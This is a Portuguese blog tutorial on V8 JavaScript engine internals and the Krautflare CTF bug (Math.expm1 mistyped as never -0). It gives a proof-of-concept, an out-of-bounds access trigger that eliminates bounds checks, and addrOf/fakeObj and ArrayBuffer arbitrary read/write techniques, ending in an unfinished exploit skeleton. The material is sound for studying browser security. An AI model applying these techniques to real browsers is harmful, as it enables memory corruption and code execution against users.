Intro V8 Internals

Intro V8 Internals

December 13, 2020

Browser exploitation : An introduction to V8 engine and exploiting primitives 1.01

Projeto em constante desenvolvimento, qualquer erro, sugestão, crítica, por favor entre em contato ou comente.


The road so far:

De onde a ideia surgiu

Esse projeto nasceu da ideia de explorar e entender como jailbreaks em consoles (ps4[1][2],nintendo) funcionam. Conforme as semanas iniciais de pesquisa foram passando, foi observado que os impactos das vulnerabilidades nas engines Javascript podem ocasionar em problemas maiores. A linguagem que é uma das mais utilizadas hoje em dia está presente nos navegadores dos consoles, nos carros inteligentes (Webkit - JSCore), se tornando assim um possível vetor de ataque para diversar plataformas distintas - carros, videogames, servidores, computadores pessoais, ..

[1] https://hackerone.com/reports/826026 [2] Introduction to PS4’s security, and userland ROP ( https://cturt.github.io/ps4.html )

O processo durante os meses

A segunda razão que moldou uma boa parte do meu processo de pesquisa foi: “Como as pessoas descobrem bugs em uma base de código com milhoes de linhas?””

Óbvio que a análise de código de forma manual existe e é de extrema importância para o entendimento do código, dataflow, e de possíveis vetores de ataque, contudo, outra técnica que tem sido desenvolvida cada vez mais - principalmente com computadores cada vez mais potentes - é chamada de fuzzing, então, o que eu me dediquei durante algumas semanas foi entender como esse processo funciona - e, principalmente, o que se passa na mente do pesquisador ao começar o processo de exploração. sobre a primeira etapa :

  1. Reconhecimento: Onde eu procurei o máximo de informação possível sobre o processo de descoberta de vulnerabilidades, pós-exploração, … O objetivo era justamente aumentar meu conhecimento sobre a área e as terminologias. Foram lido conteudos das 3 etapas, coisas fundamentais sobre o funcionamento do JSCore, sobre Fuzzing e sobre Heap Overflow, além de assistir palestras que eram sobre console hacking.

Passado essa parte de fuzzing eu passei um tempo estudando como as possiveis técnicas de ataaque funcionam, heap spray, jit spray, UAF, Type confusion …. E a última etapa seria entender como a engine e o browser funcionam.

Mas, nem tudo são flores. Conforme o tempo foi passando, notei que cada uma dessas 3 etapas que eu descobri poderiam, cada, ser um projeto diferente - por volta dos ultimos meses resolvi manter o foco na parte final de entender a engine Javascript V8.


***Disclaimer : ***

Posso dizer sem dúvidas que esse conteuto é bem denso, então, não se espante caso algum dos conceitos não tenha sido entendido, deixe um comentario ou pergunte por yuri@dcc.ufrj.br Eu realmente Gostaria de ter coberto todos os tópicos que eu descrevi no parágrafo anterior, mas, por questões de tempo acabei mantendo o foco em entender como a V8 Engine funciona e procurei exemplificar como um ataque se aproveita das diversas fasas do processo de interpretação e compilação da engine.

Agenda

A agenda para esse artigo consiste, de forma resumida,

  1. internals da V8
  2. Bug math.expm1(-0)
  3. Little Intro to Fuzzing

No final desse artigo, deixei anotado alguns tópicos que pretendo continuar a exploração.

V8 Engine

O que é uma engine ?

É senso comum afirmar que JavaScript é uma linguagem ‘completamente’ interpretada, coisa que nao é mais assim. A necessidade de melhoras de desempenho e velocidades fizeram com que em 2009 firefox começasse com o SpiderMonkey no Firefox e assim outras grandes empresas continuaram, fazendo com que, o que antes era interpretado, também fosse compilado ( com o que é chamado de JIT - just-in-time compilation).

In this new world, compiling JavaScript makes perfect sense because while it might take a little bit more to have the JavaScript ready, once done it’s going to be much more performant than purely interpreted code. https://nodejs.dev/learn/the-v8-javascript-engine Uma das principais formar de melhorar essa performance é através do processo chamado JIT - descrito nas proximas seções.

A engine V8 foi escrita em C++ e é desenvolvida pela Google para, principalmente, o Google Chrome. A V8 também se encontra presente em diversos outros locais, como o novo Edge, Nodejs, e qualquer derivado do chrome, inclusive para arquitetura arms.

Segunda a definição do nodejs.dev

V8 provides the runtime environment in which JavaScript executes [3]

Exatamente como descrito na citação, a V8 é responsável por pegar osource code, transformar em uma linguagem intermediária - onde otimizações e reduções são mais fáceis de serem executadas, e depois interpretada e/ou compilada.

A v8 não é a unica engine Javascript disponível no mercado, podemos citar:

  1. SpiderMonkey (firefox)
  2. JSCore (safari - ps4,tesla…)
  3. Chakra (antigo edge)
  4. Jerryscript (a lightweight engine for the Internet of Things)
  5. Rhino

[3] https://nodejs.dev/learn/the-v8-javascript-engine

Principais conceitos

A ideia desse capítulo é tornar claro para o leitor como funcionam os componentes da foto abaixo, não só entender o que são como também entender a importância de cada.

Explain JIT compiler like i’m 5

Javascript era puramente interpretada. Ser interpretada significa que durante a execução o código na linguagem de alto nível, javascript, seria dinamicamente interpretado, transformado em bytecode e por fim executado pela máquina.Mas não por muito tempo, o famoso Google maps teve um grande papel de importância para a melhora performática da linguagem javascript, com isso, a Google começou a implementar o conceito de JIT (Just in time) compiler na engine.agora, ao invés de cada vez que uma função for executada getar bytecode novo, se a execução se tornar hot, essa geração de bytecode só ocorrerá uma vez.

Performance, performance, performance

Ou seja, quando uma função é executada diversas vezes ela é marcada como hot!/quente - que está sendo executada muitas vezes, o compilador produz o machine code dessa função e nas próximas chamadas o processo de interpretação será pulado. O conceito de JIT começou a ser utilizado muito antes do javascript, primeiramente com Lisp( se nao me engane ) e depois se popularizando com a jvm da Oracle por volta de 80~90. Uma outra vantagem é que livramos a linguagem de ter que ser preocupar com as características da máquina física, a linguagem só está preocupada com a máquina virtual, e, por sua vez a máquina virtual com a a máquina física. Graças a esse recurso a ideia de multiplataforma ser tornou bem mais plausível. Agora, um ponto muito importante para observarm e que será melhor abordado mais para o fim é como ocorre a alocação de memória. A alocação das páginas de memória que guardarão os machine codes gerados possuem permissão RWX, o que, no futuro, veremos que isso pode ser tornar uma brecha de segurança.

https://eli.thegreenplace.net/2013/11/05/how-to-jit-an-introduction

Tipos de ‘variaveis/elementos’

Antes de entrarmos mais a fundo em como os objetos funcionam e o que ocorre por dentro da engine vamos primeiro conhecer os tipos que o compilador aceita para um Elemento/Objeto.

No total temos cerca de 21 que respeitam a lattice da imagem acima. Essa imagem se reduz ao fato que os elementos só podem caminhar em uma direcao e nunca voltar, ou seja uma vez que um SMI se torna double, ele não retorna a ser SMI, mesmo que o valor seja alterado para um inteiro. Mas o que são os termos smi, double/number, Element/any?

  • Smi é a forma como a engine se refere aos numetos inteiros não ponto flutuante, numeros que pertencem ao Conjunto dos NaturaiS, a sigla significa SmallInteger
  • Uma vez que esse número passa a apresentar ponto flutuante ele passa a ser double/number
  • E se, por exemplo ele virar letra ele se torna any/element.

A forma mais fácil de pensar nessa Transição de estados é com um array. Inicialmente um array apenas com números

 [1,2,2,4] 

É considerado packed_smi

Se adicionarmos um double nele

[1,2,4,5.0]

Ele se torna um packed_double Se adicionarmos uma letra, ele desce mais uma vez cadeia de estados e se torna um packed_element

[1,2,3,5.0,'x']

Agora, nos resta apresentar o conceito de packed. Packed é um conceito que se contrapõem a holed, packed nos diz que o array está completo, sem nenhum espaço vazio como seria o caso em

[1,2, ,3]

O array acima seria um array holed, apresentando um ‘buraco’ em suas peças.

A principal diferença que packed e holed trazem é em relação a performance(veremos no futuro que também em segurança) - uma das principais preocupações da engine V8 - arrays packed (completos) permitem que os algoritmos tanto de especulação quanto de otimização sejam aplicados de forma mais agressiva pelo compilador, enquanto que os holed não - com holed arrays o compilador precisa adicionar verificações quanto ao espaço empty. Outra importancia é o compilador se basear nessa diferenciação apra implementar os respectivos reduce,maps,foreach que serão usados nos mesmos.

smi < double < any 
  • transitions only go in one direction: from specific (e.g. PACKED_SMI_ELEMENTS) to more general (e.g. PACKED_ELEMENTS). Once an array is marked as PACKED_ELEMENTS, it cannot go back to PACKED_DOUBLE_ELEMENTS, for example.

https://v8.dev/blog/elements-kinds

Starting with Buterfly Objects

Um dos primeiros termos que nos deparamos em uma das principais publicações relacionadas a browser exploitation ( Attacking JavaScript Engines [Groß, saelo] publicado na phrack ), é butterfly object, se referindo especificamente a forma como os objetos em javascript são armazenados na memória.

Como veremos a diante, essa metáfora se refere a forma como os objetos em JS crescem na memória, para os lados, da mesma forma que uma borboleta. Fica claro na imagem abaixo, para cada objeto javascript temos a alocação de dois espaços na memória, para simplificar o entedimento podemos chamar de dois vetores. Um desses vetores na esquerda é responsável por guardar as características/propriedades básicas do objeto, tamanho, posição dos elementos e o outro vetor seria responsável por guardar propriamente os elementos.

retirada de https://v8.dev/blog/fast-properties

Do ponto de vista da memória

--------------------------------------------------------
.. | propY | propX | length | elem0 | elem1 | elem2 | ..
--------------------------------------------------------
                            ^
                            |
            +---------------+
            |
  +-------------+
  | Some Object |
  +-------------+
  retirado do paper do Saello

Apesar de talvez não tão importante para o atacante (desenvolvimento de exploits), mas,útil de forma geral, é saber que a engine diferencia o tipo do objeto ( conferir essa parte de “o tipo do objeto”) basicamente em dois tipos de propriedades Named Properties x Elements.

Named Properties

{a: '1' , b: 'foo'}

Named Properties são representadas pelo nosso código de exemplo acima, cada propriedade tendo seu nome: a, b . O nome dessas propriedades é armazenado em um outro array na memória e para achar cada elemento associado a uma named propertie precisamos de mais alguns metadados do objeto que falaremos na seção de hidden classes (#hidden classes)

Elements

[0,1,2,3,4,a, ,c]

Essa outra forma é, talvez, uma das formas mais comuns e mais fundamentais na ciencia da computação são as lista/arrays (segundo Donald Knuth). A principal diferença é que as propriedades aqui podem ser achadas com base nos números de índices de cada elemento.

hidden classes

Hidden classes são uma forma dinamica de armazenar metadados dos objetos e servir como um método fast para a criação/busca. dinamica de novas propriedades

Como comentado logo no início da seção (Principais conceitos) JavaScript é uma linguagem dinamically typed, ou seja, o compilador não sabe a ahead-of-time (AOT) o que vai acontecer com os objetos , então, como uma forma de sanar esse problema e aumentar a performance da engine adotou-se o conceito de hidden classes, que, na engine V8 é chamado de MAP. As hiddenClasses guardam metadados dos objetos, numero de propriedades, referencia para outros objetos, propriedades …

V8 gets away from **dynamic lookup** by employing hidden classes. 
Dynamic lookup: This lookup is dynamic because at runtime we try to find prop on obj, if we fail we try the same on its prototype, then on the prototype's prototype, etc.

A imagem tenta representar um dos problemas basicos, não saber quanto alocar para cada variavél.

Dando nome aos bois, esse conceito é adotado por todos as engines javascript atuais e recebem os respectivos nomes:

NomeEngine
ShapeSpiderMonkey - Firefox
MAPV8 - Chrome/nodejs
TypesChackra - Edge
JSCore -Webkit

Os Maps/Hidden Classes servem para guardar as informações sobre os ‘shapes’ dos objetos e um ‘map’ fazendo a ligação dos itens das properties até o índice dos elementos. (Esse map normalmente varia entre ser feito com um dicionario ou com um simples array).

Cada objeto quando instanciado recebe um ponteiro para um Map/HiddenClasses com o seu shape prescrito, objetos iguais/parecidos apontaram para o mesmo shape. Esses Maps/HiddenClasses utilizam-se do conceito de COW (Copy-on-write), o que significa que, quando uma propriedade é alterada - criada nova, ou deletada - Uma nova hiddenClass é utilizada para o novo shape. Como exemplo a imagem anterior, ao criarmos a propriedade Z no objeto p2, um novo Map é instanciado e p2 passa a apontar para ele.

How it works is like this. Whenever a property has its value changed, we update the offset of the property and keep the value. These are the characteristics of hidden classes: Every object has a hidden class of its own. A hidden class contains memory offset for each property.

Quando esse novo estado/classe é criada - temos alguma das propriedades do objeto sendo criada e/ou deletada - os antigos Maps precisam saber que se referenciarão a um novo Map e para isso existem os transitions estado/properties do Map, esse estado é checado para saber se deve-se ser relacionado a outra Classe de shape diferente ou não.

Essas tipo de abstração é de supra importancia pro próximo conceito que abordaremos, apenas checando se o transition state existe a VM consegue rapidamente saber se houve alteração ou não, ajudando a coletar dados (profile) para o que é chamado de Inline Caching (IC). Ou seja, cada vez que uma função ou objeto é chamado a engine verifica a hidden class, se uma mesma hidden class começar a se repetir, V8 coloca no cache onde achar as propriedades dessa hidden class e retorna esse endereço ao invés de procurar na memória novamente.

Every hidden class is essentially a collection of property descriptors, where each descriptor is either a real property or a transition that points from a class that does not have some property to a class that has this property:

https://mrale.ph/talks/awp2014/#/37 slides a partir do 30 explicam hidden classes https://mrale.ph/blog/2012/06/03/explaining-js-vms-in-js-inline-caches.html

Inline caching:

Inline caching (IC) assim como JIT não é um conceito ou técnica nova, ela teve sua primeira aparição nas VMs de Smalltak. [@TODO ACHO QUE É LEGAL FALAR UM POUCO DE HISTORIA] A maioria dos usuários possui um spantime de cerca de 5 segundos, o que significa, no nosso caso, que perfomance is everything. Então, muitas vezes não é sabio rodar o mesmo código diversas vezes se o shape desse objeto será sempre o mesmo - não é inteligente procurar 10 vezes na memória por um mesmo endereço, para isso o endereço é salvo em memória e retornado diretamente, pulando a parte da busca. Exemplo: `

 func add(a,b) {
    return a+b; 
 }

 let a = add(1,2)
 let b = add(1,2)

` Percebemos que em caráter do shape, nossa função sempre retornará um SMI (inteiro) e sempre recebe também dois SMI, então, é inteligente pular a parte do runtime e já executar(carregar diretamente as propriedades do objeto) direto o que estará em cache. (cache kwnoledge about previous state). Assim, com esses dados prévios a engine V8 “cacheia”/caches o tipo do objeto passado no parametro e no futuro pode usar isso direto, caso os memos shapes se mantenham - especulação certa.

Em cada uma dessas execuções a engine coleta dados sobre o código, por exemplo: quantas vezes uma função é chamada(code-behavior salva metadados) Então, com esses dados coletados (isso é chamado de profiling) a engine consegue saber se algo está superaquecendo - ou seja, temos uma função hot, acessada muitas vezes - e chamar o Turbofan ‘to cooler things up’ pré-compilando o código para as próximas chamadas, ou se o código pode continuar para o Ignition - interpretador da V8 que transforma ‘os nós’ da nossa AST (abstract syntax tree) em bytecode.

Ignition

Ignition is the low-level register-based interpreter. 
![](https://i.imgur.com/IXf8flk.png)

As the V8 team choose car part names for the engine, it stuck with that by naming the subprocesses: Ignition and Turbofan.

A fase comandada pelo Ignition é a fase responsável pela interpretação da nossa IR e conversão em bytecode. Deixar que a nossa AST Sea of Nodes é gerada, precisamos gerar os bytecodes responsáveis por cada instrução, o mecanismo na v8 responsável por esse processo é o Ignition. O ignition além de traduzir os nós pra bytecode também coleta o que é chamado de profilling - por exemplo, o número de acessos a um objeto, feedback sobre input e return/output fazem parte do profiling- das instruções e funções.

O conceito dessa imagem é basicamente o mesmo de Lattice que vimos no tópico anterior, se durante diversos feedbacks nossa função apresentar parametros de tipos diferentes cairemos no caso polimófico (https://mrale.ph/blog/2015/01/11/whats-up-with-monomorphism.html) caso any, que não é tão bom e um pouco mais dificil de optimizar - simplificando, o ANY representa que a função recebeu inputs e outputs de tipos que variaram conforme a execução, uma hora number, outra double,… até chegar na escala do any.

O profilling junto com os dados do feedback servem para marcar a função como hot e para que o Inline Caching(IC) “seja ativado”, por exemplo:

for property accesses such as o.x, where o has the same shape all the time (i.e. you always pass a value {x:v} for o where v is a String), we cache information on how to get to the value of x. Upon subsequent execution of the same bytecode we don’t need to search for x in o again. The underlying machinery here is called inline cache (IC)..

Completando, esse profile/feedback é consumido pela Turbofan - que falaremos no próximo tópico - para geração de códigos mais ótimizados ( transformando códigos hot em assembly direto) (turbofan também gera execução especulativa pra isso).

Ignition will come after the parser, before any JavaScript is run as it is the responsible part for doing so. Its main function is to generate bytecode, and then feeding it all to the interpreter part of ignition to run it. One note to keep in mind is that before running the source code, there’s already been certain optimisations that have taken place, such as the elimination of dead code amongst others.

Ignition + Turbofan

Depois do profile ter sido coletado, é decidido se o código será otimizado, enviado para o Turbofan ou não. Uma outra situação que pode ocorrer é a deoptimização(de-optmized) por exeplo, uma funcao que sempre recebe string como input caso receba um numero a previsão feita pelo turbofan teria sido errada e os bytecodes teriam que ser re-criados pelo Ignition

Antes de entrarmos de cabeça no turbofan, iremos entender como a estrutura de dados fundamental de IR funciona (Sea of Nodes) - a análise dessa estrutura nos permitirá debugar o código e as fases de otimização geradas pelo compilador.

Sea of Nodes

O conceito de Sea of Nodes foi criado por Cliff Click em sua tese de doutorado e foi primeiro utilizado pelo Java da Oracle por volta de 1990, melhorando o conjunto cfg+ssa. Durante a tradução de um programa high level language para machine coding normalmente temos uma Linguagem Intermediaria(IR - intermediate representation) mais livre para o compilador fazer suas otimizações e que visa preencher alguns gaps semânticos. O sea of nodes traz algumas vantagens em relação a melhorar a capacidade de teste (esqueci o nome em portugues) e tornar o compilador mais plataform-independent.

> a directed graph with labeled vertices and ordered inputs. 

Antes de mergulharmos propriamente na interpretação do grafo gerado, outro importante conceito para nossa interpretação é o de SSA (Static single assignment form). SSA é uma propriedade da IR que consiste em dois paradigmas principa

  1. Each variable be assigned exactly once
  2. Every variable be defined before it is used.

No código abaixo podemos ter um exemplo do porque isso é útil para melhorar a perfomance de compilares

y := 1
y := 2
x := y

Para qualquer programador é óbio que a primeira definição será descartada, contudo, para o compilador descobrir isso ele precisa passar por mais algumas analises. Com o SSA

y1 := 1
y2 := 2
x1 := y2

Se torna automático também para o compilador. O processo para conversão é basico, seguindo os dois paradigmas mencionados anteriormente. Cada atribuição nova recebe uma nova variavel, e mudando o nome dela até o próximo ponto. Exemplo retirado do wikipedia: “x -> x - 3” se torna “x2 -> x - 3”

Voltando ao nosso Sea-Of-Nodes, agora podemos entender como o turbolizer Funciona. No turbolizer temos 5 cores possíveis para os nós do grafo

  1. Amarelo: Estruturas de Controle, comandos que podem alterar o fluxo do código.

  2. Azul Claro: O valor que muito provavelmente será retornado em returns ou outros.

  3. Azul Escuro: Intermediate Language actions Instruções em Bytecode

  4. Vermelho: Instrucoes do Javascript

  5. Verde: Machine level Language (https://github.com/v8/v8/blob/master/src/compiler/opcodes.h#L501)

Já os vértices podem ter dois significados:

  1. representam dependencias entre os nós Edges retilínios

  2. Representam a ordem de certo read/write Edges tracejados

The striking difference between this graph and CFG is that there is no ordering of the nodes, except the ones that have control dependencies (in other words, the nodes participating in the control flow).
This representation is very powerful way to look at the code. It has all insights of the general data-flow graph, and could be changed easily without constantly removing/replacing nodes in the blocks.

ConstantFoldingReducer

Propaga resultados de constantes e remove deadcode

After the first two typing runs, the ConstantFoldingReducer will run, so if we get the typer to mark the Object.is result to always be false at this point it will simply be replaced with a false constant.

TurboFan

Turbofan is the optimization compiler. Turbofan is perfect for code after page load and frequently executed code.

Turbo fan veio substituir o compilador antigo que era chamado de Crankshaft, suas melhoras foram principalmente na parte de performance e otimização (essa ultima devido ao sea of nodes). Uma de suas tarefas é analisar os metadados gerados no profiling e decidir se o código deve ser compilado para machine code ou não ou de-optimized.

Turbofan is like the cooling system for the engine, the one that lowers the heat produced by Ignition. It will feed on the feedback provided by Ignition by inspecting things like, how many times a function has run, what are the types and values provided to that function, etc. With this, if any parts of the code are hot, Turbofan will compile the bytecode into machine code. So yes, you guessed it, Turbofan is the JIT compiler but with a small change: It optimises the code based on assumptions. This is why Turbofan is known (and targeted by exploits) for its speculative optimisations.

O compilador turbofan (TurboFan works on a program representation called a sea of nodes ) trabalha em cima de um conceito conhecido como sea of nodes - de forma enxuta, o código source é “translated” para uma linguagem intermediaria AST (Abstract Syntax Tree) e para ‘otimizar’ isso geram-se dois grafos o de uso e o de control cfg (control flow graph)

Data flow Graphs Control Flow Graphs Effect Edges - dependencias (leitura/escrita)

Propriedades: SSA, single staic form, In SSA form, each variable can be assigned only once.

A evolução do grafo - movimentação entre as layers de otimização - já ocasionou algumas vulnerabilidades como :

A maioria dos bugs acima é conhecido como Type Confusion

https://benediktmeurer.de/2017/03/01/v8-behind-the-scenes-february-edition

Builtin Functions

Essa tipo de funções terá um papel fundamental para podemos interagir com o a shell d8 que nos permite rodar e debugar javascript direto na v8. Built-in functions podem ser tanto funções diretas em c++ quanto funções em Js A maioria das funtime functions pode ser encontrada dentro de src/runtime/runtime.h ou srs/bultins/builtin.h

%DisassembleFunction https://v8.dev/docs/builtin-functions

Turbolizer

Para gerar os arquivos que serão utilizados pelo turbolizer temos que executar a d8 com –trace-turbo e ele nos gera dois arquivos {.cfg,.json}, o .json será carregado no turbolizer para análise.

https://v8.github.io/tools/head/turbolizer/index.html

Chrome: V8: incorrect type information on Math.expm1 (35c3ctf-Krautflare)

TL;DR: O bug explorado

https://bugs.chromium.org/p/project-zero/issues/detail?id=1710 Esse é o bug/report que estaremos entendendo.

TL;DR: O bug consiste em uma inconsistencia de valores retornados por uma função Math.exmp1. Essa inconsistencia é causada devido ao bug ao retornar o valor -0 (exploraremos o porque em breve) que nos leva a uma redução errônea no nosso compilador e permite que acessamos qualquer área da memória.

O bug explorado nessa challenge foi reportado pela project zero em 01/12/2018 no link https://bugs.chromium.org/p/project-zero/issues/detail?id=1710 e foi corrigido por 2~3 commits, um deles corrigindo o typer.cc

e operation-typer.cc.

Como reportado no link o bug ocorre na utilização de 3 funções basicamente:

Object.is atan2 e na divisao Contudo, dado as fases de typer que falaremos mais a frente, só a Object.is é útil para nosso propósito.

Onde, como veremos a seguir com a POC o typer realiza uma assumption/previsão ( em uma das etapas de redução da AST) errada e com isso somos capazes de eliminar o CheckBounds e conseguir acesso de escrita/leitura em qualquer área da memória.

Setup inicial

Antes de tudo, precisamos configurar/instalar a engine no computador ou maquina virtual para realização dos testes, para isso executamos os seguintes passos :

$ apt/(yay -S) install cmake pkg-config 
$ git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
$ export PATH=$PATH:$PWD/depot_tools 
$ gclient
$ mkdir ./v8 && cd ./v8
$ fetch v8 && cd v8
$ git pull
$ gclient sync
$ ./build/install-build-deps.sh
$ tools/dev/gm.py x64.release
$ out/x64.release/d8  <- shell interativa da v8

Na maioria das challenges de CTFs precisamos de mais uns passos pós setup - precisamos aplicar os devidos patches e voltar para commits anteriores

// Voltando para commit anterior
git reset --hard dde25872f58951bb0148cf43d6a504ab2f280485
// Aplicando devido patch
git apply < ../krautflare/d8-strip-globals.patch

Uma vez feito isso estamos prontos para rodar a d8 - V8 developer shell.

Outra ferramenta útil para nosso processo de exploração é o turbolizer, com essa ferramenta podemos visualizar as diversar (17+) etapas de compilação realizadas pela turbofan. Para instalar o turbolizer :

cd v8/v8/tools/turbolizer
npm i
npm run-script build
python -m SimpleHTTPServer 8000


Para melhor entendimento do grafo gerado pelo turbolizer referir ao #Sea-Of-Nodes

./d8 –allow-natives-syntax –trace-deopt –trace-representation –trace-turbo-graph –trace-turbo-path /tmp/out –trace-turbo)

Proof-of-Concept

expm1-poc.js
function foo() {
  return Object.is(Math.expm1(-0), -0);
}

console.log(foo());  // true 
%OptimizeFunctionOnNextCall(foo);
console.log(foo());  // false

A execução da mesma função, independente de otimizado ou nao, deveria sempre exibir o mesmo resultado. O que não acontece, quando executado temos o resultaodo abaixo.

% d8 --allow-natives-syntax expm1-poc.js
true
false

[Little Note]%OptimizeFunctionOnNextCall - função builtin que serve para tornar o código hot, poderia ser simplesmente substituido por um loop que tornasse a função hot. Como no código a seguir

for (var i = 0; i < 100000; i++) {
    funcao_teste("0");
}

???

Quando o sea of nodes é analisado com o Turbolizer, vemos que o tipo de retorno esperado para a função é PlainNumber ou NAN, contudo, PlainNumber é um conjunto que engloba todos os numeros naturais menos o -0 (zero negatigo) (IEEE 754). Ao ser executado com a flag –debug o d8 informa que o tipo retornado é heapNumber ()

TIPOS DIFERENTES? qual poderia ser o problema?

d8> %DebugPrint(-0)
DebugPrint: -0
0x282625580561: [Map]
- type: HEAP_NUMBER_TYPE
- instance size: 16
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x2826255804d1 <undefined>
- prototype_validity cell: 0
- instance descriptors (own) #0: 0x282625580259 <DescriptorArray[0]>
- layout descriptor: (nil)
- prototype: 0x2826255801d9 <null>
- constructor: 0x2826255801d9 <null>
- dependent code: 0x2826255802c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0

Como mostrado na poc, um dos principais patchs foi para o typer.cc, responsável pela fase de typer do compilador. O papel do typer é tentar, a partir da IRL (Intermediate Representation Language) - no caso nossa son(sea of nodes), tentar interpretar os tipos dos inputs que estão sendo utilizados. Por examplo, se um nó tiver output entre um range de valores, um tipo comum de ser inferido é o range, Range(x,y), x<=y e propagar esse resultado para as outras etapas.

Queremos controlar em qual fase do pipeline acima o bug deve ocorrer. Se triggado muito cedo - caso do atan e da divisão - a propagação como false teria ocorrido para outras etapas e não teriamos o resultado esperado.

O typer será executado em 3 fases

  1. TyperPhase/Typing
  2. TypedOptimizationg
  3. SimplifiedLowering <= constantfoldingReducer rola nesse aqui
If the typer discovers too soon that we’re comparing Math.expm1 to -0, it’ll just fold the comparison into a false constant. This is useless to us: the code will be incorrect from a functional point of view, but has no security implications

O tipo do Object.is é sameValue, só que, durante as reduções que ocorrem esse tipo pode mudar para ObjectisMinusZero, e, se

Se no terceiro o nosso Object.is for alterado para False essa mudança é propagada para os outros estágios de otmimização, então precisamos que nao seja detectado/propagado nessa fase. Para isso utilizaremos o conceito de escape analysis, quando chamamos com um inteiro a funcao math.exmp1 ela chama na verdade a funcao FloatExpm1, que no fim chama o ChangeFloat64ToTagged o que faria com que nosso -0 retornado fosse truncado para zero. Contudo, ao executarmos a math.expm1(“0”), com string literal, ele nao nos retorna 0 - indicando que a conversao do changefloat64totagged não ocorreu - e sim NaN, isso ocorre porque existe uma math.expm1 builtin da v8 que ao retornar não chama o método de conversao ChangeFloat64ToTagged e o nosso -0 não será truncado.

Como conseguimos um OOB

Como visto na seção sobre Arrays, os acessos e operações sobre Arrays estão guardados (envoltos) a uma operação - nó no caso do sea of nodes - chamada de CheckBounds responsável por validar que os acessos então dentro dos limites do array. Se o Turbofan validar o caso anterior (profile para gerar o hot), entao esse nó do CheckBounds é removido. Atacando a parte de escape analysis e fazendo retornar false, conseguimos fazer com que o Turbofan pense que o valor está sempre inbounds ( false* X = 0 ), contudo, como vimos na poc, durante runtime esse false pode virar true, e como estamos sem o CheckBounds podemos acessar qualquer posição.

OOB Access:

function foo(x) {
    let a = [0.1, 0.2, 0.3, 0.4];
    let b = Object.is(Math.expm1(x), -0);
    return a[b * 1337];
}

B é folded to false na otimização

A correção

reparar no tipo de valor do sameValue - Boolean Esse kao acima é bypassado pelo escape analisys, basicamente o analyzer nao sabe o valor de y,

escape analisys:

Escape Analisys é uma das fases do pipeline da foto anterior que será essencial na exploração dessa vulnerabilidade. O conceito consiste em escapar algumas variaveis/objetos que não teriam efeitos indesejados - passíveis de serem desmaterializadas. A vantagem desse tipo de otimização consiste em performance, uma vez desmaterializado o valor/objeto deixa de ser parte de uma Heap Allocation e passa a ser armazenado na stack ou em um registrador ou constant-folded diretamente no return de uma função .

Exemplo:

function f() {
    let o = {a: 5};
    return o.a;
}

O objeto o ( o.a ), não possui nenhuma implicação em outra função, o que permite que ele seja desmaterializado sem problemas, da forma abaixo :


function f() {
    let o_a = 5;
    return o_a;
}

Outro caso comum, quando a variavel/ o objeto é passado como parâmetro para outra função.

function f() {
    let o = {a: 5};
    g(o);
    return o.a;
}

A desmaterialização nesse caso não é valida, pois pode causar resultados inesperados because it can’t make assumptions on o. (because g could save a reference to o in a global variable)

Como isso impacta no nosso exploit?

A gente viu ants que quando utilizado

 let o = -0

O constantFolding acontece e o valor é substituido nas execuções anteriores, fazendo com que nosso Object.is vire um nó de ObjectIsMinusZero. Quando utilizamos o exemplo que vimos anteriormente

let o = {mz: -0};

Até ser executado o analyzer não sabe nada sobre o tipo que está ali dentro, porque dado o que vimos antes ele não pode assumir nada ainda sobre o objeto.

function foo(x) {
    let a = [0.1, 0.2, 0.3, 0.4];
    let o = {mz: -0};
    let b = Object.is(Math.expm1(x), o.mz);
    return a[b * 1337];
}

O que ocorre:

  1. Antes da escape analysis, nada pode ser assumido, então o nó continua como SameValue ignorando o valor ser -0 (ypedOptimization will keep a SameValue node.)
  2. Quando realmente chegar ali, o o.mz será escapado e propagado, nosso SameValue terá o valor de -0 antes do simplified lowering
  3. Assim, a ultima etapa do pipeline de typing será executada, determinará que o valor será sempre falso, propagation, e - como false *X é sempre 0, o que estaria inbounds - o nó do checkbounds é eliminado

Javascript Primitives

Quando analisamos outros exploits javascript notaremos coisas bem em comum entre eles (padrões) - esse “fato” é melhor entendido com a palestra https://www.youtube.com/watch?v=WbuGMs2OcbE (sem dúvidas uma das melhoras que eu já vi). Esses padrãos servem basicamente para garantir mais liberdade e facilidade para a exploração, dentre alguns desses padrões podemos citar:

  1. AddrOf
  2. FakeObj
  3. wasm RWX - será abordado mais no final

AddrOf

A ideia dessa primitiva é que durante o Runtime (para bypassar aslr) ela receba um objeto que será procurado na memória - como veremos na poc, esse objeto costuma ter markers para ser identificado mais facilmente.

@TODO o código como as primitivas são feitas está na seção ### Exploitando o bug contudo é bom colocar aqui depois uma versão mais simplificada.

FakeObj

Retorna um objeto que aponta para um endereço de memória.

It can be used to craft fake JavaScript objects, by getting a reference backed by an attacker-controlled buffer.

“tipos de dados” utilizados

Para fechar essa seção, comentaremos sobre 3 “tipos de dados” que marcam grande presença nos exploits js.

// create an ArrayBuffer with a size in bytes
const buffer = new ArrayBuffer(16);

// Create a couple of views
const view1 = new DataView(buffer);
const view2 = new DataView(buffer, 12, 4); //from byte 12 for the next 4 bytes
view1.setInt8(12, 42); // put 42 in slot 12

console.log(view2.getInt8(0));
// expected output: 42

  • ArrayBuffer : Permite manipular raw Binary data - permitindo representar um array de tamanho fixo que pode ser facilmente manipulado com DatView .

porque arraybuffer? Com o ArrayBuffer conseguimos escrever em um backing buffer corrompido. O nosso ArrayBuffer pode ser construido de duas formas, com um OOB conseguimos alterar o tamanho e para onde o ArrayBuffer aponta, ou através do fakeObj (by crafting a fake ArrayBuffer through a fakeobj primitive)

I do know that the real way to get an arbitrary write primitive is to overwrite the backing store of an ArrayBuffer with the address you want to write to. Then, using a DataView object to write to the ArrayBuffer will write to your overwritten address. 

Exploitando o bug


let arrs, // OOB AARAY
    objs, // Victim Object
    bufs; // Victim Buffer
    
// aloca oos objs e os marks
let a = [0.1, 0.2, 0.3, 0.4]; // origin array
arrs.push([0.4, 0.5]); // OOB array
objs.push({marker: 0x41414141, obj: {}}); // victim object, inline properties para pegarmos o endereço
bufs.push(new ArrayBuffer(0x41)); // victim buffer


    

